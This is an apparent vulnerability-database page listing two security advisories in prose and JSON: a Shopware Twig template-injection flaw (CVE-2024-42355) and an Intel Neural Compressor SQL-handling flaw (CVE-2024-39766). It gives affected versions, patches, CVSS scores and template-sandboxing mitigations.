Shopware has a new Twig Tag sw_silent_feature_call which silences deprecation messages while triggered in this tag. It accepts as parameter a string the feature flag name to silence, but this parameter is not escaped properly and allows execution of code.

Patches

Update to Shopware 6.6.5.1 or 6.5.8.13

Workarounds

For older versions of 6.2, 6.3, and 6.4, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.8.12"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.8.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.8.12"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.8.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.6.5.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0.0"
            },
            {
              "fixed": "6.6.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.6.5.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0.0"
            },
            {
              "fixed": "6.6.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-42355"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-08T14:48:03Z",
    "nvd_published_at": "2024-08-08T15:15:18Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nShopware has a new Twig Tag `sw_silent_feature_call` which silences deprecation messages while triggered in this tag.\nIt accepts as parameter a string the feature flag name to silence, but this parameter is not escaped properly and allows execution of code.\n\n### Patches\nUpdate to Shopware 6.6.5.1 or 6.5.8.13\n\n### Workarounds\nFor older versions of 6.2, 6.3,  and 6.4, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n",
  "id": "GHSA-27wp-jvhw-v4xp",
  "modified": "2024-08-08T17:00:14Z",
  "published": "2024-08-08T14:48:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/security/advisories/GHSA-27wp-jvhw-v4xp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42355"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/core/commit/a784aa1cec0624e36e0ee4d41aeebaed40e0442f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/core/commit/d35ee2eda5c995faeb08b3dad127eab65c64e2a2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/commit/445c6763cc093fbd651e0efaa4150deae4ae60da"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/commit/8504ba7e56e53add6a1d5b9d45015e3d899cd0ac"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopware/shopware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Shopware vulnerable to Server Side Template Injection in Twig using deprecation silence tag"
}

GHSA-28GW-7MXX-5HJG

Vulnerability from github – Published: 2024-11-13 21:30 – Updated: 2024-11-13 21:30
VLAI
Details

Improper neutralization of special elements used in SQL command in some Intel(R) Neural Compressor software before version v3.0 may allow an authenticated user to potentially enable escalation of privilege via local access.

Severity
7.0 (High)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
7.3 (High)
CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-39766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-13T21:15:27Z",
    "severity": "HIGH"
  },
  "details": "Improper neutralization of special elements used in SQL command in some Intel(R) Neural Compressor software before version v3.0 may allow an authenticated user to potentially enable escalation of privilege via local access.",
  "id": "GHSA-28gw-7mxx-5hjg",
  "modified": "2024-11-13T21:30:38Z",
  "published": "2024-11-13T21:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39766"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01219.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Mitigation
Implementation

Use the template engine's sandbox or restricted mode, if available.

No CAPEC attack patterns related to this CWE.

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